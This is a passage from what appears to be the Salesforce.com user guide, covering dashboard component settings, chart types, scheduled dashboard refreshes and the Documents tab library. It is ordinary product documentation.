Title Enter a title to identify the dashboard component.
Display Units Choose a scale for displaying your chart values. Choose Auto to let Salesforce.com
select the best units.
Drill Down to Select what happens when users click the dashboard component (available options
depend on component type selected):
• Source Report—Takes the user to the full source report for the dashboard
component.
• Filtered Source Report—When users click individual groups, axis values (X-axis
on line and column charts, Y-axis on bar charts), or legend entries, they are taken
to the source report filtered by what they clicked. You can't drill down to legend
entries for combination charts.
For example, if you had a stacked vertical column chart of opportunities grouped
by stage, with months as the X-axis, you could click an individual stage in a bar, a
month on the X-axis, or a legend entry for a stage to drill down to the filtered
source report. Available only with Chart Analytics 2.0.
• Other URL—Takes the user to the URL that you specify in the Drill Down
URL field.

Note: Filtered drill-down is disabled for dashboard charts with more than
200 values.

Drill Down URL Specify the URL that users go to when they click the dashboard component. Use this
option to send users to another dashboard, report, record detail page, or other system
that uses a Web interface.
Note: You cannot add URLs that begin with “mailto:” or “javascript:” to
dashboard components.

3. Depending on the component type, choose the Custom Report, Visualforce Page, or Custom S-Control and
enter the appropriate settings for your component type.
Tip:

• Custom forecast and lead reports that you created using a standard report may not be available in the Custom
Report list.
• You can create a dashboard from a tabular report as long as the tabular report has a limited record count. First,
save the report; then edit the Dashboard Components settings on the Order Columns page of the report. Note
that you cannot use the gauge or metric component types in dashboards created from reports with limited
record counts.

Chart
For charts, configure the appropriate chart settings:

1501
Dashboards Adding Dashboard Components

Chart Setting Description


Use Chart as Defined in Select this option to use the chart defined in the source report on this dashboard.
Source Report The chart settings in the source report determine how the chart displays in the
dashboard. If you defined a combination chart in the source report, select this
option to use that combination chart on the dashboard.
Chart Type Select the type of chart to use when representing the data in your report. The chart
type that you choose determines which chart properties are available to set. See
Chart and Component Types on page 1504 for a description of each chart available.
Sort By Choose a sorting element to determine what element you want displayed first in
the horizontal axis of any horizontal chart or the vertical axis of any vertical chart.
Maximum Values Enter the maximum number of elements to include in the top-level grouping of
Displayed the horizontal axis of a horizontal chart, vertical axis of a vertical chart, or selected
axis of a stacked bar chart. For example, if you want to list only your top 5
salespeople, create an opportunity report that lists total opportunity amounts by
owner and enter 5 in this field.
Legend Position Choose a place to display the legend in relation to your chart.
Axis Range Choose a manual or automatic axis range for bar, line, or column charts. If you
choose manual, enter numbers as the minimum and maximum axis range to be
Chart Axis Range
displayed. If there are data points outside the range that you set, the axis
Minimum
automatically extends to include those values when you generate the chart.
Chart Axis Range
Maximum

Small Values Combine all groups less than or equal to 3% of the total into a single “Others”
wedge or segment. Deselect to show all values individually on the chart. This only
applies to pie, donut, and funnel charts. This option is on by default pie and donut
charts, and off for funnel. Available only with Chart Analytics 2.0.
Show Values Display the values of individual records or groups on the chart. This only applies
to certain chart types. Available only with Chart Analytics 2.0.
Show Percentage Display the percentage value for each wedge of pie and donut charts, or for each
segment of funnel charts. Available only with Chart Analytics 2.0.
Show Total Display the total value for the donut chart. Available only with Chart Analytics
2.0.
Show Details on Hover Display values, labels, and percentages when hovering over charts. Hover details
depend on chart type. Percentages apply to pie, donut, and funnel charts only.
Available only with Chart Analytics 2.0.
Note: Hover details are disabled for dashboard charts with more than 200
values.

1502
Dashboards Adding Dashboard Components

Table and Metric


For tables, configure the appropriate table settings:

Table Setting Description


Sort By Determine if you want table elements sorted by their labels or values and if you
want them in ascending or descending order.
Maximum Values Enter the maximum number of elements to include in the table. For example, if
Displayed you want to list only your top 5 salespeople, create an opportunity report that lists
total opportunity amounts by owner and enter 5 in this field.

For metrics, enter the Metric Label to describe the value displayed. A metric displays the grand total of a custom
report following your label for that value.
Optionally, define up to three number ranges to display as colors on your dashboard to highlight summary data, such
as high or low percentages, averages, and ratios.

Setting Description
Low Range Color Select a color to represent a low number range.
Breakpoint #1 Value The value that separates the low range color from the middle range color on the
dashboard.
Middle Range Color Select a color to represent a middle number range.
Breakpoint #2 Value The value that separates the middle range color from the high range color on the
dashboard.
High Range Color Select a color to represent a high number range. This color spans from the
Breakpoint #2 Value.

Gauge
For gauges, define the colors that represent low, medium, and high from left to right on your gauge. Then, choose
the range of values to represent each color.

Gauge Setting Description


Minimum Value The lowest value on the gauge.
Low Range Color The color representing the left section of the gauge. This section spans from the
Minimum Value to the Breakpoint #1 Value.

Breakpoint #1 Value The value that separates the left-most color from the middle color on the gauge.
Middle Range Color The color representing the middle section of the gauge. This section spans from
the Breakpoint #1 Value to the Breakpoint #2 Value.
Breakpoint #2 Value The value that separates the middle color from the rightmost color on the gauge.

1503
Dashboards Adding Dashboard Components

Gauge Setting Description


High Range Color The color representing the right section of the gauge. This color spans from the
Breakpoint #2 Value to the Maximum Value.

Maximum Value The highest value on the gauge.


Show Percentage Display the current value as a percentage of the maximum value on the gauge.
Available only with Chart Analytics 2.0.
Show Total Display the current value on the gauge. Available only with Chart Analytics 2.0.

Visualforce Page
For Visualforce pages, select the page and set the display height.

Custom S-Control
For custom s-controls, select the s-control and set the display height.
4. Click Save.

See Also:
Creating and Editing Dashboard Properties
Editing Dashboards
Chart and Component Types
Using Combination Charts
Additional Options for Updating Picklists

Chart and Component Types


The following chart types are available to display report data and dashboards:

Chart Type Image Description


Horizontal Bar Use this type when you have a summary report with a single grouping, or you only want
to display one grouping. For example, to see the amount in each sales stage in a report, set
amount as the X-axis and stage as the Y-axis. The chart displays one bar for each stage,
with the length proportional to the total opportunity amount. The advantage of the
horizontal bar charts is that the chart can be extended vertically to show numerous
groupings, though the width is fixed.
Horizontal Bar: Use this type when you have multiple groupings, and you want to compare values within
Grouped a secondary grouping, but not the totals. For example, to compare the amount of deals
closed each month by lead source in a report, set amount as the X-axis, source as the
Y-axis, and closing month as the Groupings value. The chart displays a set of bars for
each source, one bar for each month. The monthly differences within a particular source
are easy to compare. You can also compare a given month across sources, but comparing

1504
Dashboards Adding Dashboard Components

Chart Type Image Description


the total number of leads for each source may be difficult. Use a stacked chart to compare
totals.
Horizontal Bar: Use this type when you have multiple groupings and are interested in the proportions
Stacked between values in each grouping, as well as each grouping's total. For example, to compare
the status of leads by campaign in a report, and also to compare the totals for each status,
set record count as the X-axis, status as the Y-axis, and campaign as the Groupings
value. The chart displays a single bar for each status, broken down by campaign, with each
campaign shown in a different color. The proportion of each campaign in each status is
easy to compare, as are the totals for each status, but comparing a single campaign’s
contribution to different statuses, or to the total, may be difficult.
Horizontal Bar: Use this type when you have multiple groupings and are only interested in the proportions
Stacked to 100% between values in each grouping, rather than the actual values. Since all bars are the same
length, actual values are not visible or relevant. For example, to see each owner's
opportunities proportioned by stage in a report, set opportunities as the X-axis, stage as
the Y-axis, and owner as the Groupings value. The chart displays one bar for each
owner, broken down by stage, with each segment representing the proportion of
opportunities in that stage against the total opportunities for that owner.
Vertical Column Use this type when you have a summary report with a single grouping, or you only want
to display one grouping. For example, to see the number of leads by lead source in a report,
set record count as the Y-axis and source as the X-axis. The chart displays one column
for each source, with the height proportional to the total number of leads. The width of
column charts is constrained by dashboard column size and report chart size. Horizontal
bar charts may be better for large numbers of groupings. Column charts are good when
showing values by date, since dates traditionally run along the X-axis.
Vertical Column: Use this type when you have multiple groupings, and you want to compare values within
Grouped a secondary grouping, but not the totals. For example, to compare the number of
opportunities created each month by campaign source in a report, set record count as the
Y-axis, created month as the X-axis, and source as the Groupings value. The chart
displays a set of bars for each month, one bar for each campaign source. The differences
between sources within a particular month are easy to compare. You can also compare a
particular source across months, but comparing the total number of opportunities for each
month may be difficult. Use a stacked chart to compare totals.
Vertical Column: Use this type when you have multiple groupings and are interested in the proportions
Stacked between values in each grouping, as well as each grouping's total. For example, to compare
the number of opportunities created each month by campaign source in a report, and also
to compare the totals for each month, set record count as the Y-axis, created month as
the X-axis, and source as the Groupings value. The chart displays a single bar for each
month, broken down by source, with each source shown in a different color. The proportion
of each source in each month is easy to compare, as are the monthly totals, but comparing
a single source’s contribution to different months, or to the total, may be difficult.
Vertical Column: Use this type when you have multiple groupings and are only interested in the proportions
Stacked to 100% between values in each grouping, rather than the actual values. Since all columns are the
same height, actual values are not visible or relevant. For example, to see each month's
opportunities proportioned by campaign source in a report, set record count as the Y-axis,

1505
Dashboards Adding Dashboard Components

Chart Type Image Description


created month as the X-axis, and source as the Groupings value. The chart displays
one column for each month, broken down by source, with each segment representing the
proportion of opportunities generated from that source against the total opportunities for
that month.
Line Use this type when you have one important grouping representing an ordered set of data
and one value to show. For example, to see the numbers of leads created each month in a
report, set record count as the Y-axis and created month for the X-axis. The chart
displays a line connecting the record count totals for each month. Line charts are especially
useful for showing data over time.
Salesforce.com does not plot missing (null) values. If a missing value occurs in the middle
of a data set, Salesforce.com displays a gap in the line.

Line: Grouped Use this type when you have multiple groupings—each with one important secondary
grouping representing an ordered set of data—and one value to show. For example, to see
monthly leads by lead source in a report, set record count as the Y-axis, created month
as the X-axis, and source as the Groupings value. The chart displays a line for each
source, connecting that source's record count totals for each month. Each line spans the
earliest to the latest month containing data. Comparing the total numbers for each month
may be difficult.
Salesforce.com does not plot missing (null) values. If a missing value occurs in the middle
of a data set, Salesforce.com displays a gap in the line.

Line: Cumulative Use this type when you have one important grouping representing an ordered set of data
and one value to show, summed over time. For example, to see the total amount of closed
opportunities by day in the current month in a report, set amount as the Y-axis and
closing day as the X-axis. The chart displays one line, with the line’s height representing
the cumulative amount of closed opportunities up to and including that day. You cannot
see the amount for any single day—only the cumulative amount.
If the data set contains a missing (null) value, Salesforce.com continues the line using the
previous value in the data set.

Line: Grouped Use this type when you have multiple groupings—each with one important secondary
Cumulative grouping representing an ordered set of data—and one value to show, summed over time.
For example, to see the total amount of closed opportunities by day for each of the last
three months in a report, set amount as the Y-axis, closing day as the X-axis, and
closing month as the Groupings value. The chart displays a line for each month, with
the line’s height representing the cumulative amount of closed opportunities up to and
including that day. You cannot see the amount for any single day—only the cumulative
amount.
If the data set contains a missing (null) value, Salesforce.com continues the line using the
previous value in the data set.

Pie Use this type when you have multiple groupings and want to show the proportion of a
single value for each grouping against the total. For example, to see the breakdown of your
case queue by case status in a report, set record count for Values and status for Wedges.
The chart displays a circle made up of wedges, each wedge representing the cases in a case

1506
Dashboards Adding Dashboard Components

Chart Type Image Description


status. Wedge size is proportional to the numbers of cases. Pie charts are not ideal for
comparing values that are close together or numerous small values.
Select Show Labels, Show Values, or Show Wedge % to include that information on
the chart. (Only available with Chart Analytics 2.0.)

Donut Use this type when you have multiple groupings and want to show not only the proportion
of a single value for each grouping against the total, but also the total amount itself. For
example, to see the breakdown of your case queue by case status in a report, as well as the
total number of cases, set record count for Values and status for Wedges. The chart
displays a donut made up of wedges, each wedge representing a case status. Wedge size is
proportional to the numbers of cases. The total number of cases for all statuses is shown
in the middle.
Select Show Labels, Show Values, Show Wedge %, or Show Total to include that
information on the chart. (Only available with Chart Analytics 2.0.)

Funnel Use this type when you have multiple groupings in an ordered set and want to show the
proportions among them. For example, to see the amount of opportunities in each stage
in a report, set amount for Values and stage for Segments. Since the Opportunity:
Stage field is an ordered picklist, the stages are sorted in the same order as the picklist,
with each segment representing the amount for that stage. Funnel charts are useful for
showing the flow of opportunities through the stages; a substantially larger segment may
indicate a bottle-neck at that stage.
Select Show Labels, Show Values, or Show Segment % to include that information
on the chart. (Only available with Chart Analytics 2.0.)

The following other component types are available to display report data and dashboards, except where otherwise noted:

Component Type Image Description


Table For dashboards only. Use a table when you have one important grouping and want to show
a numeric value for each value in the grouping. For example, to see the top 20 opportunities
by amount, set Maximum Values Displayed to 20, and set Sort By to Row Value
Descending. In the report used for this dashboard, you can display a horizontal bar chart
with opportunity name as the Y-axis and opportunity amount as the X-axis to visually
display opportunity amounts.
Metric For dashboards only. Use a metric when you have one key value to display. For example,
if you have a report showing the total amount for all opportunities in the Closed, Commit,
and Base Case stages in the current month, you can name that value and use it as a
revenue target for the month displayed on the dashboard.
Gauge For dashboards only. Use a gauge when you have a single value that you want to show
within a range of custom values. For example, to create a dashboard that measures where
your current closed opportunity amounts fall within a range of values, set the Minimum
Value, Breakpoint #1 Value, Breakpoint #2 Value, and Maximum Value for
the gauge. The ranges that you set can indicate poor, acceptable, and good performance.

1507
Dashboards Refreshing Dashboard Data

Component Type Image Description


Set appropriate colors for each of these ranges to visually indicate progress. To create a
gauge with only two ranges, leave Breakpoint #2 Value blank.
Select Show Percentage or Show Total to display those values on the gauge. Values
exceeding the maximum are shown as greater than 100%. (Only available with Chart
Analytics 2.0.)

Visualforce Page N/A Use a Visualforce page when you want to create a custom component or show information
not available in another component type. For example, a Visualforce page could display
data from an external system or show Salesforce.com data in a custom way. Visualforce
pages must meet certain requirements to be displayed in dashboards; otherwise, they don't
appear in the Visualforce Page drop-down list.
Custom s-control N/A Custom s-controls can contain any type of content that you can display or run in a browser,
for example, a Java applet, an ActiveX control, an Excel file, or a custom HTML Web
form.
Attention: S-controls have been superseded by Visualforce pages. After January
2010 salesforce.com will remove the ability to create and distribute new s-controls.
Existing s-controls will remain unaffected.

See Also:
Adding Dashboard Components
Creating a Custom Report
Using Combination Charts

Refreshing Dashboard Data


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To refresh dashboard data: “Run Reports”
AND
Access to view dashboard folders

The data in each dashboard is as current as the date and time displayed in the As of... field at the top right corner of the
dashboard.
Click Refresh to replenish your dashboard with the most recent data. When dashboard data is refreshing, a Refreshing
Dashboard field displays at the top right corner of the dashboard. You can leave the dashboard and perform other functions

1508
Dashboards Scheduling a Dashboard Refresh

in Salesforce.com while the data refreshes. If your dashboard data does not refresh after ten minutes, the refresh automatically
stops. If necessary, click Refresh again.
When you refresh a dashboard, the dashboard data refreshes for anyone else in your organization that has access to that
dashboard. Additional refreshes submitted during a refresh and up to one minute after the completion of a refresh are ignored;
users view the most current data.
Note: Enterprise and Unlimited Edition users can schedule dashboard refreshes.

Scheduling a Dashboard Refresh


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To schedule and email a dashboard refresh: “Schedule Dashboards”
To delete the schedule to refresh a dashboard: “Modify All Data”

You can schedule an existing dashboard to refresh daily, weekly, or monthly so that you can work in Salesforce.com without
having to wait for the most recent data to refresh. Furthermore, after a refresh completes you can send an email notification
to yourself and other users that includes the dashboard in HTML format. In email applications that do not support HTML,
the notification displays text that includes a link to the dashboard in Salesforce.com. Users can view the dashboard after they
log in.
To schedule a dashboard refresh:

1. On the Dashboards tab, select a dashboard from the View Dashboard drop-down list.
2. Click Refresh and choose Schedule Refresh... from the drop-down button.
The user in the Running User field determines the dashboard’s level of access to data. This bypasses all security settings,
giving all users who can view the dashboard access to data they might not be able to see otherwise.
Note: If the specified running user is inactive, a notification email is sent to all users with the System Administrator
profile, as well as to all users that have all of the following three permissions: “Manage Users,” “Manage Billing,”
and “Modify All Data.”

Dashboard components that use Visualforce ignore the Running User; content displays only if the viewing user has
access to the Visualforce page. Other components in the dashboard are not affected.
3. Select a notification setting to send an email when the dashboard refresh finishes:

• Click To me to send an email that includes the refreshed dashboard to the email address specified on your Salesforce.com
user record.
• Click To others... to send an email that includes the refreshed dashboard to additional users. You can only send
dashboard refresh notifications to email addresses included on Salesforce.com user records.

1509
Dashboards Scheduling a Dashboard Refresh

Note: Portal users will receive reports and dashboard refresh notifications only if the Allow Reports and
Dashboards to Be Sent to Portal Users option is enabled.

4. Schedule the dashboard refresh:

• In the Frequency field, select the frequency at which the dashboard refreshes. When you click the Daily, Weekly,
or Monthly fields, more options display that allow you to refine frequency criteria.
• In the Start and End fields, specify the dates during which you wish to schedule dashboard refreshes.
• In the Preferred Start Time drop-down list, click the Find available options... link to choose a preferred start
time for the dashboard refresh.
Your preferred start time may not be available if other users have already selected that time to refresh a dashboard.

5. Click Save to schedule the dashboard refresh.

To delete a scheduled dashboard refresh:

1. Select the dashboard that has a scheduled refresh you want to delete from the View Dashboard drop-down list on the
Dashboards tab.
2. Click Refresh and choose Schedule Refresh... from the drop-down button
3. Click Unschedule Dashboard.
The scheduled refresh is permanently deleted and not sent to the Recycle Bin. Deleting the scheduled refresh does not
affect the dashboard itself.

Note: Users with the “View Setup and Configuration” permission can view all the dashboards scheduled to refresh
for your organization on the All Scheduled Jobs page. To view the All Scheduled Jobs page, click Setup ➤ Monitoring
➤ Scheduled Jobs. Users with “Modify all Data” permission can click Del next to a specific scheduled dashboard
refresh to permanently delete all instances of the scheduled refresh.

Tips on Scheduling a Dashboard Refresh


Consider the following when scheduling a dashboard refresh:
• Your organization is limited to no more than 200 scheduled dashboard refreshes. Unlimited Edition users can schedule
up to two dashboard refreshes an hour per day, whereas Enterprise Edition users can schedule up to one dashboard refresh
an hour per day.
• Dashboards refresh in the time zone of the user who schedules the refresh. For example, if the Time Zone field on your
user record is set to Pacific Standard Time, and you schedule a dashboard to refresh every day at 2:00 PM, then the
dashboard will refresh every day between 2:00 PM and 2:29 PM Pacific Standard Time.
• If you view and save a schedule in a time zone different from the one in which it was scheduled, the time slot could
potentially change. For example, if a user schedules a report in a non-whole-hour time zone, then a second user in a
whole-hour time zone views and saves the schedule, the time slot may be rounded to the nearest hour value.
• If you schedule a dashboard to refresh on a specific day of every month, the dashboard will only refresh on months that
have that specific day. For example, if you schedule a dashboard to refresh on the 31st day of every month, then the
dashboard will only refresh on months that have 31 days. If you want a dashboard to refresh on the last day of every month,
choose last from the On day of every month drop-down list.
• The dashboard refresh runs within 30 minutes of the time you select in the Preferred Start Time drop-down list.
For example, if you select 2:00 PM as your preferred start time, the dashboard may refresh any time in between 2:00 PM
and 2:29 PM, depending on how many other dashboards are scheduled to refresh at that time.

1510
Dashboards Scheduling a Dashboard Refresh

• Dashboards will not refresh as scheduled if the user in the Running User field does not have access to the folder in which
the dashboard is stored.

Tips on Dashboard Refresh Notifications


Consider the following when scheduling dashboard refresh notifications:
• Dashboard refresh notifications may not display properly in Outlook 2007.
• In HTML-formatted dashboard refresh notifications, users can click the name of the dashboard to log in to Salesforce.com
and view the dashboard directly.
• To send a dashboard refresh notification to other users, the dashboard must be in a public folder with access granted to
others. This is because other users cannot access dashboards in your personal folders. To add a dashboard to a public folder,
edit the dashboard properties.
• Users can click any dashboard component in a dashboard refresh notification to view the report the dashboard component
represents. To view the report that a table or metric dashboard component represents, users must click the name of the
first column on the table or the metric label. Note that users must log in to Salesforce.com to view the report the dashboard
component represents.
• Dashboard components that include Visualforce pages and s-controls may not display in dashboard refresh notifications.
Users must log in to Salesforce.com to view Visualforce and s-control data displayed in real-time.
• After users receive dashboard refresh notifications in their email clients, they can view the notifications when the email
clients are not connected to the Internet.
• By default, Salesforce.com sends images in dashboard emails as .png (Portable Network Graphic) files, which are not
supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard
Emails option, Salesforce.com uses .jpg images, which Lotus Notes supports, when sending dashboard emails. The
“Schedule Dashboard” permission is required to view this option.
Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the image
quality may be lower.

See Also:
Refreshing Dashboard Data
Creating and Editing Dashboard Properties
Customizing Report and Dashboard Email Settings
Managing Folders

1511
Dashboards Printing Dashboards

Printing Dashboards
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To print dashboards: “Run Reports”
AND
Access to view dashboard folders

Print dashboards using your browser’s print option. Set the paper orientation to print in landscape format so that it is wide
enough for all three columns of dashboard components. You may have to resize your columns and remove the browser-imposed
headers and footers.
Note: Some dashboards may not print as expected due to browser issues.

Deleting Dashboards
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete dashboards: “Manage Dashboards”

Deleting a dashboard deletes all the dashboard components within it. It does not delete the custom reports used by the
dashboard components. Deleted dashboards are moved to the Recycle Bin.
To delete a dashboard:

1. Click the Dashboards tab.


2. Click the Go To Dashboards List link.
3. Display the folder where the dashboard is stored.
4. Click Del next to the name of the dashboard.

To delete a dashboard component:

1. Select the dashboard.


2. Click Delete just above the dashboard component you want to delete.

1512
Dashboards Deleting Dashboards

Note: Deleted dashboard components do not get stored in the Recycle Bin.

See Also:
Recycle Bin

1513
DOCUMENTS

Document Library Overview


Available in: All Editions

A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each
document in the document library resides in a folder. The folder’s attributes determine the accessibility of the folder and the
documents within it.

Displaying The Documents Tab


The Documents tab is automatically displayed for all users who have the standard profiles and who have not previously
customized their tabs. If your Documents tab is not visible, you can customize your display to show it. For more information,
see Customizing Your Display on page 59.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Documents Home
Monitoring Resources
Salesforce CRM Content Overview

Documents Home
Available in: All Editions

User Permissions Needed


To view Documents tab: “Read” on documents
To view documents: “Read” on documents
To upload new documents: “Create” on documents

Clicking on the Documents tab displays the documents home page.


Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see
Customizing Your Display on page 59.

• Under Find a Document, enter keywords to search for a document.


• In the Document Folders section, select a folder to view all the documents contained in that folder.

1514
Documents Viewing Document Lists

• The Recent Documents section displays the last ten or twenty-five documents you viewed, with the most recently-viewed
document listed first. This list is derived from your recent items and includes records owned by you and other users. Toggle
the Show 25 items and Show 10 items links to change the number of items that display.
• In the Recent Documents section, click New to upload a new document.

Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Document Library Overview
Viewing Document Lists
Displaying and Editing Document Properties
Uploading and Replacing Documents
Deleting Documents
Changing Document Authors
Searching for Documents
Managing Folders

Viewing Document Lists


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents
To change document properties: “Edit” on documents
To replace documents: “Edit” on documents
To delete documents: “Delete” on documents

The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document
information or manipulate the document.

• Click the document name to view document property details. For information on the document details, see Displaying
and Editing Document Properties on page 1516.
• Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document
Properties on page 1516.
• Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin.
For more information, see Deleting Documents on page 1520.
• Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on
your machine, Salesforce.com displays a standard download dialog prompting you to choose a save option.
• Choose a folder to view a list of documents stored in that folder.

1515
Documents Displaying and Editing Document Properties

• Click any column heading to sort the documents in ascending order by the information in that column. Click the same
column heading again to sort documents in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of documents.
• At the bottom of the document list, select fewer or more to view a shorter or longer display list.
• Click Printable View to display the current list view in a format that is ready for printing.

Note: If you cannot find a document, you may not have access to the folder that contains it. For more information
about folders, see Managing Folders on page 647.

Displaying and Editing Document Properties


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents
To update properties: “Edit” on documents
To replace documents: “Edit” on documents
To move documents: “Edit” on documents
To delete documents: “Delete” on documents

Displaying Documents - Once you have located a document on the documents home or list pages, click the document name
to display detailed information.
Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When
you have finished, click Save. See Document Properties on page 1518 for a description of the document properties.
Tagging Documents - If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar
to tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 1520 for more information
about deleting documents.
Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and
Replacing Documents on page 1517 for instructions on replacing documents.
Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click
Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents
that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML
email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the
Documents tab so that a user who does not have a Salesforce.com username and password can view the image when it is
received in an email.
Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that
match your search terms displays. You can search for terms using the following fields:

1516
Documents Uploading and Replacing Documents

• Document Name
• Keywords
• Description

If Document Content Searchable is checked, the content of a document can also be searched.
Viewing Folder Contents - To view all the documents in a folder, click the folder name.
Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.
To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page
42 for more information.

See Also:
Uploading and Replacing Documents
Searching for Documents

Uploading and Replacing Documents


Available in: All Editions

User Permissions Needed


To upload new documents: “Create” on documents
To replace documents: “Edit” on documents

Uploading a New Document


To upload a document:
1. Click New Document from the Documents tab or click New next to Recent Documents on the documents home page.
If you do not have a New Document option, check if you have the correct permissions.
2. Specify a descriptive Document Name. If you want to use the file name, leave this field blank. The file name will appear
automatically when you upload the file.
3. If you have the “Customize Application” permission, enter a Unique Name. The unique name is used to refer to the
component when using the Force.com API. In managed packages, this name prevents naming conflicts on package
installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization.
It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
With the Unique Name field, a developer can change certain components' names or titles in a managed package and the
changes are reflected in a subscriber's organization.
4. You can check:
• Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but
is a flag to other users.
• Externally Available if the document is an image that is not confidential, such as a logo in a letterhead, and you
want it to be available from HTML email templates without requiring a Salesforce.com username and password. Or,
select this checkbox if the document is an image used as a custom tab icon or custom app logo, which do require a
Salesforce.com username and password to view.

1517
Documents Document Properties

5. Select a folder for the document.


6. Enter a description to use later as search criteria.
7. Enter keywords that you can use later as search criteria.
8. Select a document or path option.
• To upload a document, click Browse, choose the file, and click Open.
• To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as:
C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

9. Click Save Document.

Replacing a Document
To replace a document with an updated version:
1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching
for Documents on page 1521.
2. Click Replace Document.
3. Select a document or path option.
• To upload a replacement, click Browse, choose the file, and click Open.
• To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such
as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

4. Click Replace Document.

Tips for Uploading or Replacing Documents


• Documents stored as links cannot be attached to emails, but they save space in your document library.
• If document content search is enabled, Salesforce.com will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching
for Documents.
• Salesforce.com stores the most recent upload date as the modified date.
• You can upload documents that have file names of up to 255 characters including the extension.
• The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB.
• Your organization’s used file storage includes all files stored in the document library.
• If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot
upload files with the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi.

See Also:
Searching for Documents
Monitoring Resources

Document Properties
Available in: All Editions

Below is a description of the properties in alphabetical order that are stored for each document in the document library.

1518
Documents Document Properties

Field Description
Author The main point of contact for a document. Initially, the person
uploading the document is the author. Thereafter, the author
can be any selected user.
Created By The name of the person who originally uploaded the file.
Modified By The name of the person who last uploaded the file.
Folder The name of the folder that contains the document.
Document Content Searchable A checkbox that indicates if the content within a document
can be searched via the Find Document button on the
Documents tab. This checkbox is automatically set by
Salesforce.com.
Document Name The name of the document including its file extension.
Document Unique Name A unique name used to refer to the document when using the
Force.com API. In managed packages, this name prevents
naming conflicts on package installations. This name can
contain only underscores and alphanumeric characters, and
must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not
contain two consecutive underscores. With this field, a
developer can change certain components' names or titles in
a managed package and the changes are reflected in a
subscriber's organization.
Description A statement distinguishing this document from others.
Internal Use Only A checkbox that indicates if the document is confidential. The
Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.
Externally Available Image A checkbox that indicates if the document is an image available
for HTML email templates, such as a logo in a letterhead,
and does not require a Salesforce.com username and password
to view in an email.
This checkbox indicates if the document is an image used as
a custom app logo or custom tab icon, which require a
Salesforce.com username and password to view.
The Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.

Keywords An open text field containing one or more words that describe
the document. The program checks for matches in this field
when doing a search.

1519
Documents Deleting Documents

Field Description
Path Stored in place of Document Name if you prefer to create a
link to the document instead of uploading it.
Size The size of the document in bytes.
Type The file type is determined by the file extension. For example,
filename.ppt is recognized as a PowerPoint file. If the
Disallow HTML documents and attachments security
setting is enabled for your organization, you cannot upload
files with the following file extensions: htm, html, htt, htx,
mhtm, mhtml, shtm, shtml, acgi.

See Also:
Displaying and Editing Document Properties
Viewing Document Lists

Deleting Documents
Available in: All Editions

User Permissions Needed


To delete documents: “Delete” on documents
To restore documents: “Delete” on documents

To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents
detail page.
When you delete a document, Salesforce.com stores it in the Recycle Bin. You can restore the document to your document
library within that time by clicking Undelete from the Recycle Bin.
Note: You can delete any document in your personal folder but you can only delete a document in a public folder if
you have the “Manage Public Documents” permission.
If you delete a document that is included in a letterhead or HTML email template, any emails using the letterhead
or template display a broken link in its place after the item is removed from the Recycle Bin.

See Also:
Managing Folders
Recycle Bin

1520
Documents Changing Document Authors

Changing Document Authors


Available in: All Editions

User Permissions Needed


To change documents: “Edit” on documents

Since documents are stored in folders that control user access, documents do not have owners like other types of records, but
they do have authors. The author represents the user that originally uploaded the document file.
To change the author of a document:

1. View the document you want to modify.


2. Click Change next to the Author field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have
sufficient privileges to change a document author.
3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users.
4. Check the Send Notification Email box if you would like to alert the new author of this change.

Note: When you change document authorship, Salesforce.com does not change the document’s visibility.

See Also:
Managing Folders

Searching for Documents


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents

To find specific documents, use the Find Document button on the documents home page.

1. Click the Documents tab.


2. Enter your search terms. Salesforce.com searches the following fields:

• Document Name
• Keywords

1521
Documents Searching for Documents

• Description

3. Click Find Document.


The search returns a list of documents that match all your search terms. The search results are listed in order of the closest
